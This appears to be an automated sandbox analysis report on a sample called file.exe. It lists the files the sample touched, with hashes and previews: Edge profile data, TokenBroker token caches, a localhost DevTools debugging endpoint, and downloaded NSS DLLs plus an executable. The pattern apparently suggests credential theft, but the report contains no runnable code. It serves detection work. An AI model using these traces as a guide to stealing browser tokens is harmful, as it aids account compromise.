Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.007508954500374
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclXRUQFqYn:YWLSGTt1o9LuLgfGBPAzkVj/T8li/Yn
MD5:	63F64FBCF834C362B63D125BC80D0DD6
SHA1:	5932C2E2CA7B84AEB9BFF26E4DC6245DF297F416
SHA-256:	D2F285284F94CCB8523137ED88238DBC6F5F7E7C85C8A173E639AB738F84A555
SHA-512:	081F0167CCB149B5A43CFA715ADFA7027A5FEE4775B9B91AB2633A6D1B161946218089877D635FE293FD5E2BBA4B5B3876AF8155F5F2F99C68D36E05C333638E
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1732331504705245}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQw:YQ3Kq9X0dMgAEwj2
MD5:	16B7586B9EBA5296EA04B791FC3D675E
SHA1:	8890767DD7EB4D1BEAB829324BA8B9599051F0B0
SHA-256:	474D668707F1CB929FEF1E3798B71B632E50675BD1A9DCEAAB90C9587F72F680
SHA-512:	58668D0C28B63548A1F13D2C2DFA19BCC14C0B7406833AD8E72DFC07F46D8DF6DED46265D74A042D07FBC88F78A59CB32389EF384EC78A55976DFC2737868771
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ba44c1f2-9be9-416a-aeb5-4b66475d4ca1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46128
Entropy (8bit):	6.088699031242009
Encrypted:	false
SSDEEP:	768:BMkbJrT8IeQc5k9T38u0hDO6vP6O7i8iYmDDreuEgTh329fLbCAoRGoup1Xl3jVV:BMk1rT8H89Tx6bgB29LbRoRhu3VlXr42
MD5:	AF8E38A3134F7570847E94B9B8FB5E88
SHA1:	709DD42AA328386DCA3DC25542B79BAEB935C050
SHA-256:	804C77A10A3DB70990488175AF4EE385FEF16570D2280908DB7A1D7B9DE2FF64
SHA-512:	8FDD03E8A81974CDF44F49A01635426E66B1310C368EFF5C16F19E6142512907E9E6B3EF791A5766A2A7AB7F8409FAEA626E7D53E9E934C88B83E49EE285766E
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732230705"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ca5ea011-d79d-4bf5-a55d-9103c4a1e975.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44632
Entropy (8bit):	6.096617262145103
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBKwuXhDO6vP6O7i8iYmD304CD4DcH38cGoup1Xl34:z/Ps+wsI7ynE56bgNchu3VlXr4CRo1
MD5:	94871CCB65A8C99B941470D9C72CA239
SHA1:	1C1A68C770D2F444F028D8BC1B6A86A363736B66
SHA-256:	09070D4C3305189AB011595805EB16348264BBA0DEFB6F1F95B42121929091A1
SHA-512:	7D3B8328825B4D7B45F944D8B3995F351E9E0658ECDEF7532B4F221FBCCDD8DAF65556BB1570CC6DF755A023C471D2344AA11DC7E2EEC2077FC8BE46464C8AC7
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\e71353af-8486-474e-bc33-dfa356a6ca40.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090772762823228
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMgwuF9hDO6vP6O+jtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEe6mtbz8hu3VlXr4CRo1
MD5:	1B67838A4C4CDC56F09C2BFA8B747E05
SHA1:	A7233126A86FBDDC5D823198FED9E06C7A317ABA
SHA-256:	FC0E8D9230E259EBA204F62E764D77E97357FFA6052A5BCB70294437C1843D30
SHA-512:	2C0F24A1A6295D7A4748D17B4A72BAEE96EAE19566804659B1EEFBB07373DD8AA94C56FE859C0B69C3C631C6A6B81D8FEFC8AFD49A4EF71FDED6CF20F35403CC
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.864533588657326
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxiixl9Il8uioj41LZog9MOdj0OCy6YryzFmd1rc:m0YQojYLC0R+y6Yud
MD5:	8993E7E993AA12B31D1F77F1324267C6
SHA1:	A2FD83BD8FFF027C9DB982410A555EE9DC54B939
SHA-256:	F246D28014B5B9098B79CCAC5A908AAB4044D394A527B5F816BF2C0C955944F3
SHA-512:	9417AE56CBB0DDBAC90C5E941920862EDC1A3C8F0FBDB9CA6640367F8BEF4000E51E6FAE830FFC831DD7A148040B1129CCD7750DADED3F7529D31E38E896D0F6
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".g.I.k.5.H.H.M.8.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.8.E.R.B.v.v.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	4.003707044198984
Encrypted:	false
SSDEEP:	96:7YM0WbTXTpkdg74U5IMX+fzeQv1YpSAA0w01:7QWXXKdCS0k3v12Scb1
MD5:	DA8FED8654726C498B5068A13FE56CD8
SHA1:	6494C8E998741FFD85CE8DE78887FCF5BF493B9F
SHA-256:	EAF436FA63D249D02C13FBEF553B5F9AF4CF1976912BEA310154986ADB13A9F6
SHA-512:	EEBEFDD8C8E790F7976FAD98FD8CA2A82FF0F56F1A35B111A9BEEFC8C6B0B624830A5DE041D293D688C47FF7EDC2403551A07ED05578A8D895A63C96C9BFDBB0
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".d.8.Z.p.A.m.s.8.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.8.E.R.B.v.v.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.90553024798573
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xCxl9Il8uy2rvQrIDx+DxmoFO6EX35R89V5d/vc:awY02A8oFO/X3v89W
MD5:	3527206C10D0BA409B7BC92C47A32DC2
SHA1:	B83CC2B2A7FA35B38EB42A3DF6C8261DD8FE998F
SHA-256:	7D24F8535E9BA5D9831C0862D44D1E2C89CAF0AF6778F5FC76DFA54B9B28B4C7
SHA-512:	91C59C314423831A5740A70F45ACB450545AB03C4ACB34B8BBB6D792101183749A416AB8328BDB2E9819976025390CB845FC60774F845BC49B735078BCC43A86
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".R.R.R.8.M.z.x.b.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.8.E.R.B.v.v.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3500
Entropy (8bit):	5.391526829557421
Encrypted:	false
SSDEEP:	96:6NnQaHQGNnQcbQxNnQM9Q0NnQi+ddgEQibNnQMQwNnQIDQGNnQIwQcNnQ23Q/:6NZNQN9Nb+dNbNTNN5NngNc
MD5:	8BC23D4B9201B3811DF8EFCB21C0641C
SHA1:	B70CEE723EE12F69F9C44710904EDB14D283867B
SHA-256:	9CAAA0364BE4A14DE76C7EDD2CD92DC51BA448ED88490DFFE71169BC107CED3D
SHA-512:	9F751CC4322179379B80A6DF5976CFDF71611CADBEE0850FF8F1B115E151D51AD72557F91FCA3604517E4C1118223F27C196B058F7D940770206F4553A5E905A
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/C6968CBF40A4281C23ED5B1E88969C9B",.. "id": "C6968CBF40A4281C23ED5B1E88969C9B",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/C6968CBF40A4281C23ED5B1E88969C9B"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/9D20700EC172422D169DCA98EA17EEAB",.. "id": "9D20700EC172422D169DCA98EA17EEAB",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/9D20700EC172422D169DCA98EA17EEAB"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.370443976444041
Encrypted:	false
SSDEEP:	48:SfNaoQ88TEQ85fNaoQyjTjDQyjOfNaoQqXWXVQqXLfNaoQeqkPXJ0UrU0U8QeqC:6NnQ88TEQ8VNnQUQjNnQZQCNnQe70Urb
MD5:	46F235FF12D9AA36A805112D02061A15
SHA1:	DBF3F64BAA2F653BABD6760589D8DF62EDE29E52
SHA-256:	F02885EDA249EB8A2DE3971357A437E1057E1F3E9BA7112E0BD5185FE5E6A0FD
SHA-512:	DBDE97598552B443920FF83210E0F8C69F7AF5E039377E61F21E00D890F48206708BC6F58E4105D6C66DCB91ADABAD769E09C541D7635FAAA69DF656932E5FC5
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/680BF1D01AF0D31DA71B28248895DF10",.. "id": "680BF1D01AF0D31DA71B28248895DF10",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/680BF1D01AF0D31DA71B28248895DF10"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/BA32DB477A716A56B885EE78603EE688",.. "id": "BA32DB477A716A56B885EE78603EE688",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/BA32DB477A716A56B885EE78603EE688"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	1854976
Entropy (8bit):	7.950030470993736
Encrypted:	false
SSDEEP:	49152:44ylfSD3avYUIh0+OZiq+ZrodAR2u6EuY:47lfSDfUHwrodAR2u5F
MD5:	A68BD83F0CEDD6B76CCA22D5853EC168
